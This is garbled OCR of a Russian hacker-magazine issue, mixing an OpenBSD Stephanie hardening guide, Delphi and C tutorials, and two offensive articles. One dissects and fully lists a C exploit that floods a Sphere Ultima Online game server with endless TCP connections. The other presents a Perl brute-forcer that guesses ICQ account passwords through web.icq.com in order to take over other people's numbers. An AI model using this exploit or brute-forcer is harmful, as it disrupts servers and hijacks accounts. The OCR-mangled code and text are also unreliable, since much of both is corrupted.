направленных на повышение их безопасности. В основном работа таких 
патчей сводится к запрету пользователям делать то, что делать им 
совсем необязательно (например, смотреть список чужих процессов), 
наложению ограничений на функциональность системы для 
"недоверенных пользователей" и т.д. Иногда это может помочь 
предотвратить взлом с использованием еще неизвестных дыр. Для 
ОрепВЗР единственным таким патчем является 81ерИапіе. 
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ЗІерЬапіе - набор патчей и утилит для ОрепВЗР, созданных 
специально для использования системы в "агрессивных" 
условиях, например, при предоставлении зііеіі-аккаунтов. Пакет 
основан на ТРЕ-патче (Тгизіесі РаШ Ехесиііоп) для ОрепВЗР 2.4, 
опубликованном в электронном хакерском журнале РЬгаск 
(№р://ѵѵѵѵѵѵ.рИгаск.огд/рИгаск/54/Р54-06). Домашняя страница 
проекта: №р://ѵѵѵѵѵѵ.іппи.огд/''Ьгіап/§ІерІіапіе. 



Переходим от слов к делу. Я предполагаю, что с основами администрирования ОрепВЗЭ ты 
уже знаком, ядро пересобирать умеешь, где какие конфиги лежат, тоже знаешь. Рассмот- 
рим установку ЗІерИапіе на "чистый" релиз ОрепВЗЭ 3.1 . Для начала скачиваем и распако- 
вываем пакет: 

#Сб~ 

# Яр Шр://ѵѵѵѵѵѵ.іппи.огд/-Ьгіап/51ерИапіе/сіІ5Ѵ51ерИапіе-3. 1 .Іаг.дг 

# Іаг -гхі ЗІерКіапіе-З.І Лаѵ.дг 

Копируем файлы, которые нам потребуются для сборки ядра и необходимых утилит, в соот- 
ветствующие места: 

# ссі 51ерЬапіе-3.1 

# ср кегп/* /зуз/кегп/ 

# ср зуз/* /зуз/зуз/ 

# ср зуз/* /изг/іпсіисіе/зуз/ 

# ср *.раІсИ /изг/згс/ 

Патчим исходники системы: 

# ссі /изг/згс 

# раІсЬ -р0 < ЗІерІіапіе-3.1 .раІсЬ 

# раІсЬ -р0 < Іб.раІсЬ 

Теперь нужно обновить таблицу системных вызовов, так как она была изменена после при- 
ложения патча: 

# ссі /зуз/кегп 

# таке 

Скопируем новые заголовочные файлы: 

# ср /зуз/зузсаІІ.Іі /изг/іпсіисіе/зуз/ 

# ср /зуз/зузсаІІагдз.М /изг/іпсіисіе/зуз/ 

# ср /зуз/зузсІІ.Ь /изг/іпсіисіе/зуз/ 

Мы также пропатчили программку Изо, которая отвечает за динамическую линковку библи- 
отек при запуске приложений, чтобы добавить к ней дополнительные возможности по огра- 
ничению махинаций с переменными окружения, например - подмена ІіЬс через Ш РВЕ- 
І_ОАЭ. Поэтому пересоберем и ее: 

# ссі /изг/згс/дпи/изг . Ьіп/ісі/гіісі 

# таке сіерепсі && таке && таке іпзіаіі 

Теперь соберем утилиты, которыми мы будем рулить новой системой: 

# ссі ~/5ЙерІіапіе-3.1 

# ссі асІсІІ && таке && таке іпзіаіі 

# ссі ../к5с11 && таке && таке іпзіаіі 

# ссі ../Ісісіі && таке && таке іпзіаіі 

# ссі ../зпеексіі && таке && таке іпзіаіі 

Осталось только собрать новое ядро. В конфиге ядра /зуз/сопІ/СЕІМЕВІС появились новые 
опции, с помощью которых можно включать или выключать те или иные возможности 
Зіерітапіе: 

# ЗІерИапіе: ОрепВЗР Иагсіепіпд 

#орІіоп 5ТЕРНАМ1Е ѴЕВВОЗЕ # Ве ѵегЬозе (поі гесоттепсіесі) 

# ЗІерИапіе: Реаіигез 



орііоп 


ЗЫЕЕК 


# ехесѵе() Іоддіпд 


орііоп 


ТРЕ 


# Тгизіеб РаІІі Ехесиііоп 


орііоп 


РВІѴАСѴ 


# Ргіѵасу тобііісаііопз 


орііоп 


ЗѴМШКЗ 


# Везігісіесі зутііпкз 


орііоп 


Ш5ТВІР 


# 16.50 епѵігоптепі ѵагіаЫе зігірріпд 


орііоп 


К5 


# Віпагу іпіедгііу ѵегііісаііоп 



# ЗІерИапіе: ЗиЬ-орІіопз Іог к5 

#орІіоп К5_ЗАѴЕКМЕМ # Заѵе кегпеі тетогу (Ііаіі-зіге скипкз) 

#орІіоп К5 51ІСЮОМІ_Ѵ # ѴегіТу іпіедгііу оі 5[1)С]Юз опіу 

#орІіоп К5 5ТВ1СТ # Ассезз сіепіесі іі Ьіпагу поі іп ОБ 

#орІіоп К5ѴЕВВ05Е # Ве ѵегу ѵегЬозе (к5, поі гесоттепсіесі) 
Сейчас мы их трогать не будем, оставим настройки по умолчанию. Компилим: 

# ссі /изг/згс/зуз/агсИ/* тасЬіпе/сопІ 

# сопіід СЕІМЕВІС 

# ссі . ./сотріІе/СЕЫЕВІС 

# таке сіеап && таке сіерепсі && таке && таке іпзіаіі 

Все, идем в геЬооІ, чтобы все сделанные в системе изменения заработали. 




Загрузка с новым ядром 

Это означает, что все прошло нормально, система успешно пропатчена. Первое, что броса- 
ется в глаза, - появление в /ѵаг/Іод/теззадез таких сообщений: 

.ІиІ 2 03:16:39 сіагкзіаг /ЬзсІ: "/изг/Ьіп/ѵѵ" (1002, 10/2) [26485 (2853)] 

Это отслеживаются все вызовы ехесѵе(). В лог записываются имя выполняемой программы, 
иіб/еиісі и діб/едісі пользователя, а также рісі и ррісі. С помощью зпеексіі можно изменить 
этот формат, например: 

# зкеепсіі зеі а и 

После этого в лог будут писаться только имя программы и иісі/дісі (а также еиісі/едісі, если ус- 
тановлены). Если эти сообщения раздражают, их можно отключить либо пересобрав ядро 
без орііоп ЗМЕЕК, либо добавив в /еіс/гс .зеси геіеѵеі строчку: 

/изг/ІосаІ/зЬіп/зпеексІІ оИ 

Сделаем список "доверенных" пользователей, на которых не будут распространяться ограни- 
чения. В /еіс/гс . зеси геіеѵеі добавляем: 

іог ІІ5ЕВ іп Ьаггепі ЬіІІі 
СІО 

/изг/ІосаІ/зЬіп/асІсІІ -а $ІІ5ЕВ 

сіопе 

Теперь все, кроме Ьаггепі и ЬіІІі (ну и гооі, конечно), не смогут видеть чужие процессы с по- 
мощью рз, смотреть, кто что делает через ѵѵ и т.д. Утилита ІбсІІ нужна для управления защи- 
той ІсІ.зо. Например, чтобы отключить защиту, надо сделать # ІбсІІ 6 
Механизм ТРЕ (Тгизіеб РаІЬ Ехесиііоп), который включается опцией в ядре "орііоп ТРЕ", не 
позволяет "недоверенным" пользователям запускать собственные программы, в том числе и 
эксплойты. 



Как это работает 



Напоследок посмотрим, как выглядит теперь наша система глазами "недоверенного" пользо- 
вателя ѵазуа: 
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Ѵазуа ломает систему 



Как видно, ничего у него не получается ;-). Стефани отлично справляется с возложенными на 
нее задачами, что и требовалось доказать. 



ВТГМ, мой друг 



Я привел лишь краткий обзор ЗІерЬапіе. За бортом остались некоторые более сложные ве- 
щи типа проверки целостности бинарников и др. Более подробно о ЗІерЬапіе можно почи- 
тать в прилагаемой документации ЗІерЬапіе-З.1 /бос/ либо на домашней страничке проекта. 
Для всех утилит (кроме ІбсІІ) есть маны. 




Наряду с достоинствами у ЗІерЬапіе есть и ряд недостатков. Так как этот патч "неофи- 
циальный", могут возникнуть проблемы при использовании, в частности кегпеі рапіс. 
Также возможны трудности при наложении официальных зесигііу патчей и обновлении 
системы, так как мы модифицировали исходники. Поэтому подходи ко всем 
изменениям в твоей системе с осторожностью. И знай - в случае каких-либо 
осложнений, я, как автор этой статьи, не несу никакой ответственности ;). 

Но тем не менее - мыло наверху, будут вопросы - пиши. 
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ОЁГрні 

ІР Сфнріс* Масть 2 

Сегодня я закончу рассказ, начатый в позапрошлом 

пишем полноценный вариант ДОИмН ІР ^^пйд. ^мимю^ с ^ ^ 
раз мы создали форму и поместили ь) все цт0 наХ о ДИ тся на первой за- 

^еГи^еперь^^ь тГько заполнитъ втору^ закладку полезной инфой. 



Ноггіііс ака 



Фленов Михаил 5 тігпапаг@таіІ.ги«««.суазоП.сот/ѵг-опІіпе 



===== 

Ір е -адрес ЛЬ чуть ли не самый 

лить ІР и маску любого сетевого устройства, установленного в системе. 



Ое$існ типе 



ткпой пример, который мы написали в позапрошлой статье, и подкоррек- 

Ѳ тируй вторую закладку, как на рисунке 1 . На этой закладке у м»м ® рту 
расположен компонент ТСошЬоВох, в котором будет 
в системе сетевых устройств. Чуть ниже находатся компонент Т№/, у которого 

нужно установить следующие свойства. 

Ыате - изменим имя компонента на ІРІ-ізІѴіеѵѵ. 

сать такие вещи на английском языке, 
но если хочешь, то можешь писать хоть 
на китайском. 




Рисунок 1. Форма второй заклад- 
ки программы ІР Сопіід 



Дальше идут компоненты ИаЬеІ, в кото- 
рых мы будем выводить полученную из 
системы информацию. 

Списѳх 

устрѳиств 

Т еперь научимся получать список 
установленных в системе сете- 
вых устройств. Я советую это де- 
лать по событию ОпЗІіоѵѵ для формы. В 
этом случае проверка будет происходить 
только при появлении формы, а потом 



Ит==мюОп^ для главней пишем следаспции ЮД 

ргосесіиге Т 8 у 5 ІетІп(оРогт.РогтЗНо«(ЗепсІег: ТОЬ]ес1); 

рАсІаріегІпІо, рАбарі: РІР_АОАРТЕР І N^0 , 
р АсІ а гЗІг : РІ Р_Ай О В_ЗТЯ I N С ; 

Ьедіп 

//Очищаю список устройств 
АсіарІегСВ.ІІетз.СІеаг; 

//Получить количество устройств 
Ас1ар1ег1п(оЗке:=0; ....... 

Егг:=СеГАбаріег5ІпГо(піІ, АбарІегІпІоЗііе), 

Ьедіп 

Агіар1егСВ.ІІетз.АсІсі(‘Еггог ); 

ехіі; 
епсі; 

^рАба^еМп^^°РІР*А0і№ТЕВ_ІМР0((5ІоЬаІАІІос(0РТВ, АсІар*егІп(о8і2е)); 
0еІАсіарІег5ІпІо(рАсіарІегІпІо, АсіарІегІпІоЗіге) , 

рАсІарІ := рАсІарІегІпІо; 

//Проверяю тип полученного адаптера 
ѵѵЬіІе рАсІарІОпіІ сіо 
Ьедіп 

сазе рАс!арІ.Туре_ о* 

МІВ I Р_ТУРЕ_ЕТН ЕПЫ ЕТ: 



* 




Ты СПРАШИВАЛ 
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‘^Р^^ате); 

мІТЙЙооі- ^ ( ‘ ТОкеП ВІП9 ЭСІар * еГ ‘ + РАЧар».Ас 1 ар*ег М ате); 
МівТЙе^РР^^ 1 ' 1001 ЭСІаР * еГ ‘ + Р Агіа Р*-Ас1арІег№те); 

М ТірТрЙ 00Р А ВАСК РРР аС,аР ‘ еГ +рАсІа Р* ,Ас,а Р* егМ ате,; 
МІв а |р Ѳ ЙрЕІир АСІС,( ' І ' 00РЬаСк ЭСІар1еГ ‘ + Р АсІа Р* АсІар*ег М ате); 

ЭСІаРІеГ ‘ +рА ^» те ,; 
е Агіар ( егСВ.Иетз.АСС(‘ 0 №ег асІарТег ‘ + рАСар*.АСар*ег М ате); 

рАсІар* := рАбарІ.ЫехГ; 
епсі; 

С I оЬа I Ргее(Сагс1іпаІ (рРіхесІІ п^о) ) ; 
епсі; 

паГ ГоІй ЗГ Ш Г° ЩЬЮ ФУНКЦИИ 6,0Ш,,0С - — 

======== 

Инффраация фб ѵстрфйстве 

тие, мы должІіГэдтьоб^аботк Оп№апд“ыпадю^ 

г*-Р вта^— : ікэдгг 

ство необходимом памяти для хранения информации об устройствах^ 

АсІарІегІггіоЗіге : = 0 ; 

Егг:=СеШар*ег5Іп1о(піІ, АбаріегІпГоЗіге); 

нні Тп Сеи4ас ' 80 времена правления 115В, я ни в чем не могу быть уверен 
Далее я снова получаю список устройств: 



рАгіарІ рАсІарІегІггіо; ’ 

«>*»» „„ ІВД _ Й тѵтй ^ 



гігі! > Хочу п написать свой движок для игры. На чем лучше писать на 
С/С++ или на йеірбі? И с чего начинать? И что надо знать 

Н: Я считаю, что язык программирования не важен, главное уметь владеть 
им. Если ты лучше знаешь С ++ , то пиши на нем. Ьли ОеІрбіТлѵчГис 
пользовать именно его. Я видел, как люди умудрялись на ѴізиаІ Вазіс писать 
такие шедевры, что дух захватывало. И при Гм ѴВ являеГодам из“ 
мых мшенных. Вот скажи мне, кто сильнее - каратист или ушуГстПолько 
долго не думай, ответ-то прост - пьяный мужик с ломом намного сильнее :). 



ІР_АОАРТЕІШРО = гесогсі 
Мех(: РІ Р Ай АРТЕВ І N РО ; 

СошЬоІпсІех: йѴѴОВО; 

АбаріегНате: аггау [О..МАХ_АОАРТЕВ ЫАМЕ ЬЕМОТН + 31 оТ Сбаг- 

АГеГепдНц а шнт" МАХ А0АР ^ ЕН_0Е ^^ ВІР ^ , ^ М “ І " ЕМ ®^ + ^ <*СНаг; 

жГх^ШОВо/ 0 МАХ - АОАРТЕВ - АООВЕ 55_ | -ЕНСТН - 1] оТВѴТЕ; 

Туре_: ІІШТ; 

ОІісрЕпаЫесІ: ШМ"; 

СигтепНрАсІсігезз: РІР_АООК_5ТКШа- 
ІрАсМгеззЫзІ: ІРАйОРЗТРШС; 

Саіеѵѵауизі: ІР_АООП $твімС; ’ 

РЬсрЗегѵег: ІР_АООВ_5ТВІМС; 

НаѵеѴѴіпз: ВООІ.; 

РгітагуѴѴіпзЗегѵег: ІР_АООР 5ТРтС; 

ЗесопсІагуѴѴіпзЗегѵег: ІР_АООВ_5ТВІМС- 
ІеазеОЫаіпесІ: ііте і; 

І-еазеЕхрігез: *іте_*; 
епсі; 



Оі$С0ЫЫЕСТ 



V ЧМфермаці'І' щ СНСПЙѴ 

СйпЦ] Ь ІпіііІ гѴе 



СА®11І 



авшяи 



? ** п * І “*іГ 

ЯВЯИ5Ж 



Мчияіцрг РРРмѵѵг 

***■*■ ; Шбиѵу : саі.-ішлви 

Гчяечмм ѴАМ|РРРгвиР|Іпі*н«» 
ПИЛИО-имв 
ЮСПлМ гш 

пыз-ѵ-™ 

*іпіѵтт пиан 

ги™. &***»* «а&ая 



Рисунок 2. Результат работы программы 

В от теперь у тебя есть собственный полноценный ІРСопйд На рисунке 2 ты 
можешь увидеть результат работы программы. Только не думай что на нем 

“=г=== 
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■чѳойквдимо Правильно ответить нэ вое вопросы каждый правильный отвит ■ один балЛ; 
набранный Валлы утраиваются при совершении покупки в магазинах ■Ф-Цвн грд’: 
^сібранцый бвплы уДя^ин^КіТо^ Лри МПйПийнй№ ЛНкй^в ищ^^щіжвру любого нэ 

магазинов "Фч^витра*; 

- ■ ^ ^ л. ■ ■ - ■ ■ ■■■ КЛППВз-І ■ Ш ЛЛ іЛ. Ш Я Л1к№Т АЛ ЕЬ Рі ыѴ Рі 1 .Л, «■■ .V і*. ЛЛЛ »■? Л ■ Л ~Д М И -^ -Д.н ч а ядллы і л— й йл-л ■ а — і „ ■ 

наорчІНіЩйѲ ОЩГШи У В€ П И '-кН р и ЧСгГВл В ПипТОрВ рО м При ■ЯСураТТчСЧр тщрн^инн Ягщ^тіи, 

среди участников, правильно ответивших на веж вопросы, выбирается победитель, 
нзбрврший наибольшее количестве баллов." 
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С/С++ ВВЕДЕНИЕ В С 
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С/С ** 

ВВЕРЕНИЕ В С 

Как известно, с этого номера вТде- 

нием^Си? Так что* еадіГта под р^ой? 1 ^ 10 

учить все сказанное и всегда держать этот номер а ..«м ну 



НоігШс ака Фленов Михаил 5 тігпапсІг@таіІ.ги ^.суавоП.сот/ѵг-опІіпе 



К.ѲЖЖ6НТАРИИ 



пммрнтаоии - это текст, который не компилируется в программу и не влия- 

К ет на ход ее выполнения. Он необходим только для внесения пояснении. 

Комментарии бывают однострочные и многострочные. 

Однострочные оформляются как две наклонных черты //. Все, что находится в стро 
таких черточек, воспринимается как пояснения, например: 

Многост^чные* 5 комментарии открывает наклонная черта со звездочкой / , а закры- 
вает звездочка с наклонной чертой 7, например: 

/* 

Это многострочный комментарии 

7 



ПРѲЦЕРѴРЫ функции 

пазѵ хочѵ оговориться, потому что в языке С нет деления на процедуры и 

С Лѵншии У как это сделано в РеІрЫ. Как ты, наверное, помнишь, функция 
ѵмеет возвращать значения, а процедура нет. В языке С все функции, про- 

и. Зт » ІОѴѴІЬ. В лт «* Фі»» ■*"*' «• 

Тип Имя (параметры) 

//Здесь находится код процедуры 

-» -—г 4 * и - 

ется процедура шаіп. 



сНпгт - тпоткое целое которое может хранить числа от -32768 до 32767.^ 

<Іоаі вещественное которое может хранить дробные числа (размер 4 байта). 
ІоиЫе - вещественное высокой точности, которое может хранить дробные числа 
высокой точности (размер 8 байт). 

В языке С, в отличие от МрЫ. переменные можно объявлять в любом месте про- 
граммы. В общем виде это выглядит так: 

Т Вна П чале Я ;казывается тип переменной, а затем идет имя. Например, вот так можно 
объявить переменную с именем рагапл типа целое число ш . 

принимать значения от -32768 до 32767, а беззнаковое от 0 до 65535. 

вбогі рагат;//Знаковое целое 
ипзідпеа збогі рагат;//Беззнаковое целое 

0ПЕРАЦИИ С ПЁРЕАѵЕННЫАѵИ 

ля присвоения переменной значения используется знак равно ’ 
мер если ты хочешь присвоить целой переменной значение 17, это мож 

но сделать так: 



р 



Типы РАННЫХ 



зык С - стоого типизированный язык, и в нем любая переменная или зна- 

Я чение должны иметь строго указанный тип. В стандарте реализовано боль- 
шіГютво необходимых типов, которые схожи по значению с другими язы- 
ками Ты ГожГь создавать собственные типы на основе уже существующих, но для 
решения большинства задач достаточно тех, что уже есть. 

гЬяг означает целое число размером в 1 байт (256 бит). Его очень часто исполь- 
зуют для хранения символов при 256-битной кодировке, но можно хранить и числа 

іп 1 _1 целда число его размер зависит от конкретной реализации или от разрядное- 

может хранить 4 байта, т.е. числа от -2147483648 до 214748364/. 



іпі рагат;//Объявляем целую переменную 
рагат=1 7 ;//Присваиваем ей значение 

идентичны стандартным знакам. 

Сложение: + 

Вычитание: - 
Умножение: * 

Деление: / 

датавгййк: 

чуть позже. 



Л® гика 



оактически в любой программе есть логика типа: «Если какое-то условие 

П в”о то сделать то-то, иначе то-то». Язык С делает эту лотич/ доста- 
точно простой, и она чем-то схожа с языком Оеірбі, хотя и имеет свои 
личия. В общем случае логика выглядит следующим образом. 

й (Условие выполнено) 

Действие 1 ; 
еізе 

Действие 2; 
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УСЛ0ВИе ’ УКа3аНН0е в скобках ' является п Р а ВДОй, то выпол- 

ІПІ рагат=17; 

ІГ (рагат>10) 

рагат=рагат- 10 ; 

рагат=рагат+ 2 : 

} 

еізе 

рагат=рагат* 2 ; 

В этом примере я проверяю, если пеоеменная тгят^іп ™ „к,™ 



Циклы 



Там, где должно описываться начальное значение я написал іпі і-і Ятым а ^ 
мои цикл должен выполняться от 1. В условии я напигяп і<іпп " показал, что 

С++ можно йыпп °’ Там ’ ГДе над ° указывать приращение, я указал і=і+і ( в случае с 

$нитоѳ^ы 

П оследнее, на что хочу обратить внимание, это то, что язык С - чѵвствитепь 
ныи к Регистру, и переменные рагаш и РАКАМ - это разные вещи Доѵгие 

■«ЕЖ 

жиж 



Е вГГиГоГГп исп0льзуемая веідь - циклы. Допустим, что тебе надо 
возвести число в 100-ю степень. Для этого можно долго и нудно писать ™- 

гези№= 1 0* 1 0* 1 0* 1 0 и так далее. . . 

А можно запустить цикл и все выполнить в нем. Общий вид цикла выглядит так: 

действие*? 06 ЗНачение ’ условие . приращение) 

К Т И при Р 360 ™ С № - будет выполняться одно действие после ключе 

гурными ско°бкам С и7иТ ВЫП “ ™ ИХ НЭД0 ° бъединить Ф и ‘ 

Давай рассмотрим реальный пример цикла: 








Иногда, некоторые старые 
программы не хотят устанав- 
ливаться, указывая нехватку 
места на винте, несмотря на 
то что места более чем до- 
статочно (например Рагасіох 
7), дело в том что инсталля- 
тор просто не может прочи- 
тать число байт более 2 мил- 



свободное место на винте 
(копируя какие-нибудь фай- 
лы), чтоб осталось меньше 
20, установите программу, 
затем удалите ненужные 
файлы, восстановив свобод- 
ное место на диске. 












ЭКСПЛОИТ В РАЗРЕЗЕ 

ТапаТ (ТапаТ@уе5.ш) 



ЭКСПЛФИТ В РАЗРЕЗЕ 

$РНЕК.Е ІЛТША ѲШ.ШЕ $ЕЯѴЕК. В &АѴНЕ 

Сегодня на твое аюз^че^ с 

очень полезный эксплоит. Его ** ст00 ИГ ровой сервер. По 

помощью простейшей п в ^ ния з рЬе ге ІЛйта Опііпе 

правде говоря, эксплоит разра «оаботы» и с другими сервантами. Во 

ТапаТ (ТапаТ@уез.ги) 



Разфбрать пф кфстфчкаж 

так наша задача разобрать этот код эксплоита по косточкам, чтобы ты 

И понимал суть его действия. Программа состоит из двух основных блоков - 
эГГфункции СоппесЮ и таіп(). Первая служит для организации и 
подготовкГ™ а вторая является главной, и именно с нее начинается 

С“л П стГГнотйс’а о программировании сокетов, то ты легко разберешься 

?™ном“ Если же не чи™, это упущение - вернись, наиди и прочти! 



Начал© прфгралмм>і 

н 



Пожалуй, самый важный момешг в подпрограмме - создание и выбору 
используемого протокола ТСР. 

После этого происходит проверка переменной И; если все нормально, то в ней 
2^* «ГиГамходим/сама функция 

реггог() как раз и служит для вывода системных ошибок. 



ачнем мы рассмотрение исходника с основной функции: таіп 0- Когда 
программа запускается, то ее выполнение начинается именно отсюда. 



іпі таіп(іпІ агдс, сііаг *агдѵ[]) 

Основная функция с входными аргументами: число аргументов и указатель на 
“из них После этой строчки идет объявление двух переменных: 

іпі М; 

зігисі зоскасІсіг_іп Ьох; 

м іп * проеменная в ней будет храниться дескриптор данного сокета. Ьох - это 
-» »**»»“ 

іі (агдс < 2) 

іргіпЖзМегг, «изаде: %з <зрбеге ір> [зрбеге рогЧ\п»,агдѵ[0]); 
геіигп; 

} 

Если число параметров вызова программы из ^«“^"сиГксис запуска 
происходит выход из программы с помощью вызова геіигп. 

Инициализация 

ак как наш эксплоит предназначен для работы с сетью, то он обязан 
инициализировать сокет, что и делается в следующем коде. 



Пфнёслась РУША в АО 

в 



т 



м = 50 СкеІ(АР_ШЕТ,ЗОСК_ 5 ТВЕАМ,ІРРЯОТО_ТСР); 

іі (М<0) 

реггог(«зоскеІ() «); 
геіигп; 

} 



ГР поедваоительные проверки закончились, и можно приступать к самим 
ГейсТм Р .“ этого выводим соответствующее сообщение вроде 
«Банзай!»: 

ІргіпІІ(5Іс1епу>АІІаскіпд зрЬеге : «); 

Дальше идет сердце эксплоита - вся его паразитическая сущность сосредоточилась 
в следующих нескольких стро>лрх. 

*ог (;;) 

{ 

іпі зоск; 

80ск = СоппесІ(іпеІ_асМг(агдѵ[1]),(агдс>2)?(аІоі(агдѵ[2])):3128); 

іі (зоск<0) { 
зІеер(ІО); 
сопііпие; 

ІргіпІЦзМегг, «.*»); 

} 

. г 1 -\ тяпѵскярт бесконечный цикл, то есть явного выхода из него нет. іпі даек - 

=гг^.' пгггпр— = 

па^метре вызова. Именно об этом говорит конструкция: 

(агдс> 2 )?(аІоі(агдѵ[ 2 ])): 3128 ; 

действТй.^слТ переменная даек меньше нуля, то зіеер (10) - происходит пауза в 10 
миллисекунд и повтор следующей попытки - сопііпие, 
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Функция Сфиыест 

Н^Н еперь давай проанализируем функцию Соппес*(). 

іпі Соппес1(іп1 ір, іпі рог*) 

В самом начале снова объявляются две переменные: 

іп( М; 

зігисі зоскасісіг іп Ьох; 

Далее инициализируется сокет: 

^5п? кеі(АР - ІМЕТ ’ 50ск - 8ТВЕАМ . |Рр вототср)- 

іт (та<0) ге*игп -1 ; ~ п 

>»“ ' С™“ь°Г,Т ( м<Г™“ій” Т Г””' ” 

инициализации новой переменной можно переходах^ коннекту. П0ВТ0 Р Н0И 

шет5е((&(ді,0,5ігео^(8(гисі воска сісіг_іп))- 
(д*.5іп Р оП = бІоп8(рогІ); //Указываем порт сервера 
*д».8іп_ГатіІу = АР_ІМЕТ; //Тип протокола 
ідІ.Біп айбг.з асІсІг = ір; //Адрес сервера 

Вызов функции тетзеі затирает стрѵктѵоѵ Тот нѵпямм Лсп о ™ 

іГмгг 1 ™«“ ■ 

Далее заполняем структуру, а именно- 
1 . Заносим в структуру номер порта, куда будем соединяться. 

асин» еМ ^бота СеМ ТВ ° ИСПОЛЬЗ У емой адресации, в нашем случае это 
3. Заносим адрес сервера, с которым мы хотим соединяться. 

‘гелГт П - е 1? (М ’ <8 * Г1,С * 50скас,с,г * ,& * д *> вІ2 е о Пв*гис* *оскагіс 1 г))< 0 ) 

С0ППеС,() с Маленькой б Ѵ квы - СИСТ емная функция а СоппесШ с 

пТреГно Ц Гм. КОТ ° РаЯ ° СуЩеСТВЛяется че Р ез Д^криптор сокёГ»ийся в" 

Итѳгѳ 

*■ ет=і-г= ===== 

======= 

г ™" л,№ » - ” ■*■»»»» 



ПѳАНЫЙ ЛИСТИНГ ЭКСПЛѲИТА 



#іпсІисІе 

#іпсІисІе 

#іпсІисІе 

#іпсІисІе 

#іпсІисІе 

#іпсІисІе 

#іпсІисІе 

#іпсІисІе 

#іпсІисІе 



Э <5ЙІІО.Ь> 

) <з*сіііЬ.іі> 

* <ипізШ> 

1 <$у$/$оскеиі> 
<зуз/ 1 урез.Іі> 
<пейпе*/іп.Ь> 
<зІс!агд.И> 
<бте.Ь> 
<зузДіте.(п> 



іпі Соппесфт ір, іт рой) 
іт М; 

зігисі зоскасісігіп іді; 

М = зоске((АВ_ІМЕТ,$ОСК ЗТВЕАМ.ІРРВОТО ТСР)- 
іт (М< 0 ) геіигп - 1 ; “ 

тетзеЦ&фДзігео^зІгит зоскасИпп)); 

*д*.зіп_роі* = топз(рой); 
ід 1 .зіп_*атіІу = АРІІЧЕГ; 

ІдІзіп_асІсІг.з_асІсІг = ір;’ 

геШгп 00 ^ 80скас1с * г *^^, зігео^зігисі зоскасІсІг))< 0 ) 
геіигп И; 



іпі таіп(іт агдс, сЬаг *агдѵ[]) 
іт М; 

з*шт зоскасісіг іп Ьох; 

\і (агдс < 2 ) 

{ 

фппЩаМегг, «изаде: %з <зрбеге ір> [зрбеге рогі]\п»,агдѵ[ 0 ]); 
} 

М = зоске((АР_ІЫЕТ,ЗОСК ЗТВЕАМ.ІРРВОТО ТСР)- 
а (м<0) - ' 

( 

реггог(«зоскеі() «); 
геіигп; 



фгіпЩзМегг, »Айаскіпд зрЬеге : «)■ 
іог (;;) 



зІеер(ІО); 

сопбпие; 

} 

фгіпЩзМегг, «.*»); 



“Г 1 Б 3 


5 


ТПІСН 









Некоторые пользователи, пере- 
шедшие с 9х на 2к, обнаружили, 
что некоторые проги под него не 
идут. В М3 видно смекнули (а 
может им кто-то помог), что на- 
до бы это дело исправить и до- 
бавили во 2-ой сервис пак Ре- 
жим Совместимости 

(СошраііЬіІіІу Мобе, в 3-ем он 
тоже есть). В этом режиме 
ѴѴіпбоѵѵз эмитирует поведение 
95, 98 и N1 4. Однако по дефол- 
ту он не включен. Чтобы его 
включить, заходим с правами 
админа, идём в ЗіаН > Вип и 
там пишем: 

гедзѵг32 %зузіетгооі%\арр- 
раісІі\5Іауегиі.бІІ 

Всё, Режим Совместимости 
включён. Теперь, чтобы его ис- 



пользовать, делаем ссылку 
(зіюгісиі) на нужную прогу, в 
свойствах (ргореіііез) ссылки пе- 
реходим в закладку СотраііЬіІКу 
и выбираем нужную 03. 

Чтобы выключить Режим Совме- 
стимости в Зіагі > Вип пишем: 

гедзѵг32 /и %зуз1:етгооІ%\арр- 
раІсб\зІауегиі.бІІ 

(Напомню, что в ѴѴіпХР режим 
совместимости с предыдущими 
Окнами встроен стандартно, 
чтобы им воспользоваться нуж- 
но открыть свойства исполняе- 
мого файла и перейти на вклад- 
ку Совместимость (СотрабЫе) - 
И. С.) 

геѵЗпат 

геѵЗпапІ@рі5ет . пеі 




85 






персональный ісо брутфорс 



I-:; Дмитрий Докучаев ака РогЬ (?огЬ@гиЬоз1.ги) 



ПёРСФНААЬНЫЙ ІСФ БРѴТФФРС 
Научись грауАфтнѳ кѳоить на Реяі 

Ты не задумывался над вопросом , 

сидят на красивом шестиз о у > ^ ньше с ^ оих друзей. Понял, 

значка, хотя в Инететы появился гор. '^Ка^^^еиішвииЫІ 
понял... ты и есть - Г Ф°Д ВИЯ У Т ^ И ^ ’ 6ы т Д еб е „ е посшибать их десятками 
шестизначке 666666 -). тогда почему і» р еализова ть это вполне 



Дмитрий Докучаев ака РогЬ (ТогЬ@гиЬозТ.ги) 



Теѳрия 



Каждый уважающий себя программист перед составлением программы перво-на- 
стремится к нулю. 



Итак мы составили алгоритм! Теперь можно переходить к составлению работаю- 
ется, то на ѵѵіп-платформе РегІ от Асйѵе5№). 




Ответ сервера шЬ.іср.сот 

Идея брутфорса пришла ко мне после того, как я 
посетил сайт ѵѵеЬ.ісд.сот. Там находится Іодоп 
страница для изменения деталей пользователя. 
Подсчитав параметры, которые должен передать 
серверу для нужного результата, я написал не- 
большой брутфорс. Результат скрипта превзо- 
шел все ожидания. Никаких лимитов на подклю- 
чения (чего не скажешь о брутфорсах, которые 
заходят напрямую на ІСО сервер), а еще сервер 
не сбросит в оффлайн владельца уина, если он 
будет опііпе. 

Итак, суть алгоритма. Программа должна создать 
сокет и соединиться с сервером ѵѵеЬ.ісд. сот, по- 
слать параметры скрипту ѵѵеЬ-авторизации (собст- 
венно уин и предполагаемый пароль) и анализиро- 
вать возврат сервера (смотри на скриншоте). Если 
сервер возвращает, что пароль верный, то прекра- 
щаем брутфорс данного уина и переходим к следу- 
ющему Если же пароль неверный - брать следую- 
щий и продолжать подбор. Соответственно, если 
требуется, программа должна выводить подробные 
комментарии взлома на консоль либо в беЬид йіе. 



Кѳринг 

Итак переходим к самой важной и ответственной части - кодан^придержи^ьми- 
нимальных стандартов и правил программирования и заданного алгорит . 

# ! /изг/Ьіп/регІ 

Объявим важные переменные, типа шаблона педаііѵе и розШѵе, а также имя сервера. 

изе ІО: -.Воске* # Заюзаем поддержку сокетов 

.п-сіпгкР* - наиболее простой модуль для создания сокетов в РегІ. Он очень прост 
ѵ'ппбрн Сознание сокета ты увидишь в дальнейшем коде, прием и передачу дан- 
пи*™» переменной смсета (яв прием- 

ивается новому сокету), например: 

ргіпт $8оскеІ ((Запрос информации^»; # Передадим строку в Зоскеі (Внима- 



зиЬ сііескзіаг* { 

&сгазІі(1 ,$иіпз) ипіезз И $иіпз); 

